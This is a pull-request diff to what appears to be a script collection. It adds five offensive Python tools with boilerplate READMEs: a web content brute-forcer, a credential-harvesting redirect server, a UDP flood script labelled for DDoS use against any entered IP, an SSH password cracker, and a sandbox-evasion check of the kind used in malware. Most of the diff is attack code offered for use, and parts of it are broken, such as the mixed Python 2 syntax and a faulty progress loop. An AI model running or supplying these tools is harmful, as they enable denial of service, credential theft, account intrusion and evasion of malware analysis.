Merge pull request #471 from Kalivarapubindusree/IP8

Sniffer_Id_Header_Decode_Script

Author: avinashkranjan

Content_Bruter_Script/Content_Bruter_Script.py

@@ -0,0 +1,55 @@
+import queue
+import threading
+import urllib.request
+import urllib.error
+import urllib.parse
+
+threads = 50
+target_url = "http://testphp.vulnweb.com"
+wordlist_file = "all.txt"
+resume = None
+user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
+
+
+def build_wordlist(wordlst_file):
+    with open(wordlst_file, "r") as fd:
+        raw_words = [line.strip() for line in fd]
+
+    words = queue.Queue()
+    found_resume = not bool(resume)
+
+    for word in raw_words:
+        if found_resume or word == resume:
+            words.put(word)
+            found_resume = True
+
+    return words
+
+
+def dir_bruter(extensions=None):
+    while not word_queue.empty():
+        attempt = word_queue.get()
+        attempt_list = [f"/{attempt}/"] if "." not in attempt else [f"/{attempt}"]
+
+        if extensions:
+            attempt_list.extend([f"/{attempt}{extension}" for extension in extensions])
+
+        for brute in attempt_list:
+            url = f"{target_url}{urllib.parse.quote(brute)}"
+            try:
+                headers = {"User-Agent": user_agent}
+                r = urllib.request.Request(url, headers=headers)
+                response = urllib.request.urlopen(r)
+                if len(response.read()):
+                    print(f"[{response.code}] => {url}")
+            except urllib.error.HTTPError as e:
+                if e.code != 404:
+                    print(f"!!! {e.code} => {url}")
+
+
+word_queue = build_wordlist(wordlist_file)
+file_extensions = [".php", ".bak", ".orig", ".inc"]
+
+for _ in range(threads):
+    t = threading.Thread(target=dir_bruter, args=(file_extensions,))
+    t.start()

Content_Bruter_Script/README.md

@@ -0,0 +1,18 @@
+# Jwt_Secret_Bruteforce
+
+Short description of package/script
+
+- This Script Was simple to setup
+- Need import queue ,threading ,urllib.request, urllib.error, urllib.parse
+
+## Setup instructions
+
+Just Need to Import queue ,threading ,urllib.request, urllib.error, urllib.parse then run the Content_Bruter_Script.py file and for running  python3 is must be installed! 
+
+## Detailed explanation of script, if needed
+
+This Script Is Only for Comtent_Bruteforce use only!  
+
+## Author(s)
+
+Kalivarapubindusree

Cred_Server_Script/Cred_Server_Script.py

@@ -0,0 +1,18 @@
+import http.server
+import socketserver
+import urllib.parse
+
+
+class CredRequestHandler(http.server.SimpleHTTPRequestHandler):
+    def do_POST(self):
+        content_length = int(self.headers['Content-Length'])
+        creds = self.rfile.read(content_length).decode('utf-8')
+        print(creds)
+        site = self.path[1:]
+        self.send_response(301)
+        self.send_header('Location', urllib.parse.unquote(site))
+        self.end_headers()
+
+
+server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
+server.serve_forever()

Cred_Server_Script/README.md

@@ -0,0 +1,18 @@
+# Cred_Server_Script
+
+Short description of package/script
+
+- This Script Was simple to setup
+- Need import http.server, socketserver, urllib.parse
+
+## Setup instructions
+
+Just Need to Import http.server, socketserver, urllib.parse then run the Cred_Server_Script.py file and for running  python3 is must be installed! 
+
+## Detailed explanation of script, if needed
+
+This Script Is Only for Cred_Server_ use only!  
+
+## Author(s)
+
+Kalivarapubindusree

Ddos_Attack_Script/DDOS_Attack_Script.py

@@ -0,0 +1,47 @@
+import sys
+import os
+import time
+import socket
+import random
+from datetime import datetime
+
+# Code Time
+now = datetime.now()
+hour, minute, day, month, year = now.hour, now.minute, now.day, now.month, now.year
+
+# Create a UDP socket
+sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+bytes = random._urandom(1490)
+
+# Clear the screen
+os.system("clear")
+
+# Print header
+print("DDoS Attack Script")
+print("Author   : HA-MRX")
+print("You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA")
+print("github   : https://github.com/Ha3MrX")
+print("Facebook : https://www.facebook.com/muhamad.jabar222")
+print()
+
+# Get the target IP and port from the user
+ip = input("IP Target : ")
+port = int(input("Port       : "))
+
+# Clear the screen
+os.system("clear")
+print("Attack Starting")
+
+# Attack loop
+for _ in range(5):
+    time.sleep(5)
+    print(f"[{'=' * (len(_) + 1)}{' ' * (4 - len(_))}] {_ * 25}%")
+
+sent = 0
+while True:
+    sock.sendto(bytes, (ip, port))
+    sent += 1
+    port += 1
+    print(f"Sent {sent} packet to {ip} through port: {port}")
+    if port == 65534:
+        port = 1

Ddos_Attack_Script/README.md

@@ -0,0 +1,18 @@
+# DDOS_Attack_Script
+
+Short description of package/script
+
+- This Script Was simple to setup
+- Need import sys, os, time, socket, random, datetime
+
+## Setup instructions
+
+Just Need to do run this command in the shell "pip install -r requirements.txt" then run the Python DDOS_Attack_Script.py file and for running  python3 is must be installed! 
+
+## Detailed explanation of script, if needed
+
+This Script Is Only for DDOS attack use only!  
+
+## Author(s)
+
+Kalivarapubindusree

SSH_Cracker_Script/README.md

@@ -0,0 +1,13 @@
+# SSH_Cracker
+Short description of package/script
+
+- This Script Was simple to setup
+- Need import pxssh, pexpect optprase
+
+## Setup instructions
+
+Just Need to Import pxssh, pexpect optprase then run the SSh_Cracker.py file and for running  python3 is must be installed! 
+
+## Detailed explanation of script, if needed
+
+This Script Is Only for SSH_Craking use only!  

SSH_Cracker_Script/SSH_Cracker_Script.py

@@ -0,0 +1,76 @@
+#!/usr/bin/env python
+
+from pexpect import pxssh
+from optparse import *
+
+
+class colors:
+        def __init__(self):
+                self.blue = "\033[94m"
+                self.red = "\033[91m"
+                self.end = "\033[0m"
+                self.bold = "\033[1m"
+cl = colors()
+
+
+print (cl.blue+"""
+
+	*--------------------------------------*
+	|      			        |
+	|          			              |
+	|         			            |
+	*--------------------------------------*
+	   _                _    _       _     
+	  | |__   __ _  ___| | _| | __ _| |__  
+	  | '_ \ / _` |/ __| |/ / |/ _` | '_ \ 
+	  | | | | (_| | (__|   <| | (_| | |_) |
+	  |_| |_|\__,_|\___|_|\_\_|\__,_|_.__/ 
+	
+	              Happy Hacking               
+	            ----------------        
+	            
+"""+cl.end)
+parser = OptionParser("""
+
+#Usage:
+	
+	python ssh.py -t <Target Ip> -u <User> -p <Password file>
+
+
+""")
+
+def connect(host, user, password):
+    try:
+        s = pxssh.pxssh()
+        s.login(host, user, password)
+        print cl.red+("\n[+] Password Found: [ {} ] ".format(password))+cl.end
+        print ("\n[For Connect With SSH Service Write] : ssh {}@{}".format(user,host))
+	print "[Then Enter Password]: ",password
+	print "\n\t* Done *\n"
+        exit(0)
+    except Exception:
+        return None 
+try:
+	parser.add_option("-t",dest="target",type="string")
+	parser.add_option("-u",dest="user",type="string")
+	parser.add_option("-p",dest="password",type="string")
+	(options, args) = parser.parse_args()
+	if options.target == None or options.user == None or options.password == None:
+		print(parser.usage)
+		exit(0)
+	else:
+		host = str(options.target)
+		user = str(options.user)
+		password = str(options.password)
+
+		read = open(password,'r')
+		for pas in read:
+    		    password = pas.strip('\n')
+    		    print "Testing Passwd: "+password
+    		    connect(host, user, password)
+
+except KeyboardInterrupt:
+	print "\n[!] Exit Programme"
+	exit(0)
+	
+print "\n[-] Oops Password SSH Service Not Found :(\n"

Sandbox_Detect_Script/README.md

@@ -0,0 +1,18 @@
+# Sandbox_Detect_Script
+
+Short description of package/script
+
+- This Script Was simple to setup
+- Need import ctypes, random, time, sys
+
+## Setup instructions
+
+Just Need to Import ctypes, random, time, sys then run the Sandbox_Detect.py file and for running  python3 is must be installed! 
+
+## Detailed explanation of script, if needed
+
+This Script Is Only for Sandbox_Detect use only!  
+
+## Author(s)
+
+Kalivarapubindusree

Sandbox_Detect_Script/Sandbox_Detect_Script.py

@@ -0,0 +1,98 @@
+import ctypes
+import random
+import time
+import sys
+
+user32 = ctypes.windll.user32
+kernel32 = ctypes.windll.kernel32
+
+keystrokes = 0
+mouse_clicks = 0
+double_clicks = 0
+
+
+def get_last_input():
+    struct_lastinputinfo = ctypes.Structure()
+    struct_lastinputinfo.cbSize = ctypes.sizeof(struct_lastinputinfo)
+
+    # Get the last input registered
+    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
+
+    # Now determine how long the machine has been running
+    run_time = kernel32.GetTickCount()
+    elapsed = run_time - struct_lastinputinfo.dwTime
+    print(f"[*] It's been {elapsed} milliseconds since the last input event.")
+    return elapsed
+
+
+def get_key_press():
+    global mouse_clicks
+    global keystrokes
+
+    for i in range(0, 0xff):
+        if user32.GetAsyncKeyState(i) == -32767:
+            # 0x1 is the code for a left mouse click
+            if i == 1:
+                mouse_clicks += 1
+                return time.time()
+            else:
+                keystrokes += 1
+    return None
+
+
+def detect_sandbox():
+    global mouse_clicks
+    global keystrokes
+
+    max_keystrokes = random.randint(10, 25)
+    max_mouse_clicks = random.randint(5, 25)
+
+    double_clicks = 0
+    max_double_clicks = 10
+    double_click_threshold = 0.250
+    first_double_click = None
+
+    average_mousetime = 0
+    max_input_threshold = 30000
+
+    previous_timestamp = None
+    detection_complete = False
+
+    last_input = get_last_input()
+
+    # If we hit our threshold, let's bail out
+    if last_input >= max_input_threshold:
+        sys.exit(0)
+
+    while not detection_complete:
+        keypress_time = get_key_press()
+        if keypress_time is not None and previous_timestamp is not None:
+
+            # Calculate the time between double clicks
+            elapsed = keypress_time - previous_timestamp
+
+            # The user double clicked
+            if elapsed <= double_click_threshold:
+                double_clicks += 1
+
+                if first_double_click is None:
+                    # Grab the timestamp of the first double click
+                    first_double_click = time.time()
+
+                else:
+                    # Did they try to emulate a rapid succession of clicks?
+                    if double_clicks == max_double_clicks:
+                        if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
+                            sys.exit(0)
+
+            # We are happy there's enough user input
+            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:
+                return
+            previous_timestamp = keypress_time
+
+        elif keypress_time is not None:
+            previous_timestamp = keypress_time
+
+
+detect_sandbox()
+print("We are ok!")